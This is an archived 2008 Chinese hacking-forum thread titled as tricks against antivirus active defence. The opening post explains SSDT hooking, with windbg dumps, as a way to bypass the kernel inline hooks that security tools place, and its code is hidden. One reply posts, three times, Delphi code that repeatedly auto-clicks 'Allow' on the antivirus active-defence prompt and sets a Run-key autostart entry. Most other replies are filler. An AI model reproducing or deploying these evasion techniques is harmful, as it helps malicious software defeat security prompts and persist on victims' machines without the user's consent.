315技术社区's Archiver

咨询客服QQ:604164

政政 发表于 2008-3-26 19:32

收藏:对付2008年带主动防御杀软的绝招

转自动画吧:
对付2008年带主动防御杀软的绝招 SSDT Hook的妙用-对抗ring0 inline hook
*******************************************************
*标题:SSDT Hook的妙用-对抗ring0 inline hook *
*作者:堕落天才 *
*日期:2007年3月10号 *
*声明:本文章的目的仅为技术交流讨论 *
*******************************************************
1,SSDT
SSDT即系统服务描述符表,它的结构如下(参考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //这个指向系统服务函数地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服务函数的个数,NumberOfService*4 就是整个地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
SYSTEM_SERVICE_TABLE ntoskrnel; //ntoskrnl.exe的服务函数
SYSTEM_SERVICE_TABLE win32k; //win32k.sys的服务函数,(gdi.dll/user.dll的内核支持)
SYSTEM_SERVICE_TABLE NotUsed1;
SYSTEM_SERVICE_TABLE NotUsed2;
}SYSTEM_DESCRIPTOR_TABLE,*PSYSTEM_DESCRIPTOR_TABLE;
内核中有两个系统服务描述符表,一个是KeServiceDescriptorTable(由ntoskrnl.exe导出),一个是KeServieDescriptorTableShadow(没有导出)。两者的区别是,KeServiceDescriptorTable仅有ntoskrnel一项,KeServieDescriptorTableShadow包含了ntoskrnel以及win32k。一般的Native API的服务地址由KeServiceDescriptorTable分派,gdi.dll/user.dll的内核API调用服务地址由KeServieDescriptorTableShadow分派。还有要清楚一点的是win32k.sys只有在GUI线程中才加载,一般情况下是不加载的,所以要Hook KeServieDescriptorTableShadow的话,一般是用一个GUI程序通过IoControlCode来触发(想当初不明白这点,蓝屏死机了N次都想不明白是怎么回事)。
2,SSDT HOOK
SSDT HOOK 的原理其实非常简单,我们先实际看看KeServiceDescriptorTable是什么样的。
lkd> dd KeServiceDescriptorTable
8055ab80 804e3d20 00000000 0000011c 804d9f48
8055ab90 00000000 00000000 00000000 00000000
8055aba0 00000000 00000000 00000000 00000000
8055abb0 00000000 00000000 00000000 00000000
在windbg.exe中我们就看得比较清楚,KeServiceDescriptorTable中就只有第一项有数据,其他都是0。其中804e3d20就是
KeServiceDescriptorTable.ntoskrnel.ServiceTableBase,服务函数个数为0x11c个。我们再看看804e3d20地址里是什么东西:
lkd> dd 804e3d20
804e3d20 80587691 805716ef 8057ab71 80581b5c
804e3d30 80599ff7 80637b80 80639d05 80639d4e
804e3d40 8057741c 8064855b 80637347 80599539
804e3d50 8062f4ec 8057a98c 8059155e 8062661f
如上,80587691 805716ef 8057ab71 80581b5c 这些就是系统服务函数的地址了。比如当我们在ring3调用OpenProcess时,进入sysenter的ID是0x7A(XP SP2),然后系统查KeServiceDescriptorTable,大概是这样KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e3d20) + 0x7A * 4 = 804E3F08,然后804E3F08 ->8057559e 这个就是OpenProcess系统服务函数所在,我们再跟踪看看:
lkd> u 8057559e
nt!NtOpenProcess:
8057559e 68c4000000 push 0C4h
805755a3 6860b54e80 push offset nt!ObReferenceObjectByPointer+0x127 (804eb560)
805755a8 e8e5e4f6ff call nt!InterlockedPushEntrySList+0x79 (804e3a92)
805755ad 33f6 xor esi,esi
原来8057559e就是NtOpenProcess函数所在的起始地址。
嗯,如果我们把8057559e改为指向我们函数的地址呢?比如 MyNtOpenProcess,那么系统就会直接调用MyNtOpenProcess,而不是原来的NtOpenProcess了。这就是SSDT HOOK 原理所在。
3, ring0 inline hook
ring0 inline hook 跟ring3的没什么区别了,如果硬说有的话,那么就是ring3发生什么差错的话程序会挂掉,ring0发生什么差错的话系统就挂掉,所以一定要很小心。inline hook的基本思想就是在目标函数中JMP到自己的监视函数,做一些判断然后再JMP回去。一般都是修改函数头,不过再其他地方JMP也是可以的。下面我们来点实际的吧:
lkd> u nt!NtOpenProcess
nt!NtOpenProcess:
8057559e e95d6f4271 jmp f199c500
805755a3 e93f953978 jmp f890eae7
805755a8 e8e5e4f6ff call nt!InterlockedPushEntrySList+0x79 (804e3a92)
...
同时打开“冰刃”跟“Rootkit Unhooker”我们就能在NtOpenProcess函数头看到这样的“奇观”,第一个jmp是“冰刃”的,第二个jmp是“Rootkit Unhooker”的。他们这样是防止被恶意程序通过TerminateProcess关闭。当然“冰刃”还Hook了NtTerminateProcess等函数。
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
好了,道理就说完了,下面就进入本文正题。
对付ring0 inline hook的基本思路是这样的,自己写一个替换的内核函数,以NtOpenProcess为例,就是MyNtOpenProcess。然后修改SSDT表,让系统服务进入自己的函数MyNtOpenProcess。而MyNtOpenProcess要做的事就是,实现NtOpenProcess前10字节指令,然后再JMP到原来的NtOpenProcess的十字节后。这样NtOpenProcess函数头写的JMP都失效了,在ring3直接调用OpenProcess再也毫无影响。
***************************************************************************************************************************
**** Hidden Message *****

学黑 发表于 2008-3-28 12:23

什么意思 "???
我怎么看不懂匿????

hacky 发表于 2008-3-28 15:11

很黄很暴力!!!!!:lol

2000xiaolin 发表于 2008-3-29 00:54

:lol :lol :lol :lol

huolei110 发表于 2008-3-29 13:42

看不懂也要顶:lol

295362701 发表于 2008-3-29 15:38

太乱了

<P>太乱了,看不明白,</P>

ydas555 发表于 2008-3-29 19:57

:L 整步明白啊~~~~~~~~~~~~

伊飒 发表于 2008-3-29 22:59

LZ
厉害呀
tjs42cc

nnn123 发表于 2008-3-30 01:31

;) ;) ;) ;) ;) ;) ;)

hack109 发表于 2008-3-31 05:05

111111

看看 ` ``````````

aosoao 发表于 2008-3-31 09:29

看看看看看看看看看看看看看看看看看看看看看看看看看看

ert6708 发表于 2008-4-1 01:13

什么意思 "???
我怎么看不懂匿????

qq3410041 发表于 2008-4-1 06:03

看不明白~~~~~~~~

amtf 发表于 2008-4-1 16:41

解决特定的

heiketian10 发表于 2008-4-1 17:09

看不明白,但是要支持啊!顶;)

owow8888 发表于 2008-4-1 21:04

看看再说;) ;) ;) ;) ;) ;)

神龙出海 发表于 2008-4-3 01:58

学习:handshake

乐逍遥 发表于 2008-4-3 20:28

作者:乐逍遥 日期:2008-04-03
字体大小: 小 中 大 unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Registry,DLLInject ;type
TForm1 = class(TForm)
chk1: TCheckBox;
btn1: TButton;
lbl1: TLabel;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
pdata=^Tdata;
Tdata=record
WindowsName,
ClickName:string
end;var
Form1: TForm1;implementation
{$R *.dfm}procedure AutoClick(WindowsName,ClickName:string); //自动点击名为Windowsname窗口的clickName控件
const
WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
var
h,h1:HWND;
begin
h:= FindWindow(nil,PChar(WindowsName));
if h = 0 then Exit;
h1:= FindWindowEx(h,0,nil,PChar(ClickName)) ;
if h1 = 0 then Exit;
SendMessage(h1,WM_LBUTTONDOWN,0,0);
SendMessage(h1,WM_LBUTTONUP ,0,0);
end;function AutoClickPro(P: Pointer): LongInt; stdcall;
var
td:pdata ;
begin
td:=pdata(p);
while True do
begin
AutoClick(td^.WindowsName ,TD^.ClickName );
Sleep(10);
end;
end; procedure TForm1.btn1Click(Sender: TObject);
var
ThreadID:dword;
data:pdata;
hThread :THANDLE;
begin
if chk1.Checked then
begin
New(data );
data^.WindowsName :='主动防御 信息';
data^.ClickName := '允许';
hThread := CreateThread(nil,0,@AutoClickPro,data,0,ThreadID);
end;with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False );
if ValueExists ('testreg') then
begin
DeleteValue('testreg') ;
lbl1.Caption := '自动运行关闭';
end
else
begin
WriteString('testreg',Application.ExeName );
lbl1.Caption := '自动运行开启';
end;
finally
Free ;
end;
if hThread <> 0 then TerminateThread(hThread,0);
end;end.

乐逍遥 发表于 2008-4-3 20:28

作者:乐逍遥 日期:2008-04-03
字体大小: 小 中 大 unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Registry,DLLInject ;type
TForm1 = class(TForm)
chk1: TCheckBox;
btn1: TButton;
lbl1: TLabel;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
pdata=^Tdata;
Tdata=record
WindowsName,
ClickName:string
end;var
Form1: TForm1;implementation
{$R *.dfm}procedure AutoClick(WindowsName,ClickName:string); //自动点击名为Windowsname窗口的clickName控件
const
WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
var
h,h1:HWND;
begin
h:= FindWindow(nil,PChar(WindowsName));
if h = 0 then Exit;
h1:= FindWindowEx(h,0,nil,PChar(ClickName)) ;
if h1 = 0 then Exit;
SendMessage(h1,WM_LBUTTONDOWN,0,0);
SendMessage(h1,WM_LBUTTONUP ,0,0);
end;function AutoClickPro(P: Pointer): LongInt; stdcall;
var
td:pdata ;
begin
td:=pdata(p);
while True do
begin
AutoClick(td^.WindowsName ,TD^.ClickName );
Sleep(10);
end;
end; procedure TForm1.btn1Click(Sender: TObject);
var
ThreadID:dword;
data:pdata;
hThread :THANDLE;
begin
if chk1.Checked then
begin
New(data );
data^.WindowsName :='主动防御 信息';
data^.ClickName := '允许';
hThread := CreateThread(nil,0,@AutoClickPro,data,0,ThreadID);
end;with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False );
if ValueExists ('testreg') then
begin
DeleteValue('testreg') ;
lbl1.Caption := '自动运行关闭';
end
else
begin
WriteString('testreg',Application.ExeName );
lbl1.Caption := '自动运行开启';
end;
finally
Free ;
end;
if hThread <> 0 then TerminateThread(hThread,0);
end;end.

乐逍遥 发表于 2008-4-3 20:29

作者:乐逍遥 日期:2008-04-03
字体大小: 小 中 大 unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Registry,DLLInject ;type
TForm1 = class(TForm)
chk1: TCheckBox;
btn1: TButton;
lbl1: TLabel;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
pdata=^Tdata;
Tdata=record
WindowsName,
ClickName:string
end;var
Form1: TForm1;implementation
{$R *.dfm}procedure AutoClick(WindowsName,ClickName:string); //自动点击名为Windowsname窗口的clickName控件
const
WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
var
h,h1:HWND;
begin
h:= FindWindow(nil,PChar(WindowsName));
if h = 0 then Exit;
h1:= FindWindowEx(h,0,nil,PChar(ClickName)) ;
if h1 = 0 then Exit;
SendMessage(h1,WM_LBUTTONDOWN,0,0);
SendMessage(h1,WM_LBUTTONUP ,0,0);
end;function AutoClickPro(P: Pointer): LongInt; stdcall;
var
td:pdata ;
begin
td:=pdata(p);
while True do
begin
AutoClick(td^.WindowsName ,TD^.ClickName );
Sleep(10);
end;
end; procedure TForm1.btn1Click(Sender: TObject);
var
ThreadID:dword;
data:pdata;
hThread :THANDLE;
begin
if chk1.Checked then
begin
New(data );
data^.WindowsName :='主动防御 信息';
data^.ClickName := '允许';
hThread := CreateThread(nil,0,@AutoClickPro,data,0,ThreadID);
end;with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False );
if ValueExists ('testreg') then
begin
DeleteValue('testreg') ;
lbl1.Caption := '自动运行关闭';
end
else
begin
WriteString('testreg',Application.ExeName );
lbl1.Caption := '自动运行开启';
end;
finally
Free ;
end;
if hThread <> 0 then TerminateThread(hThread,0);
end;end.

页: [1] 2 3

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.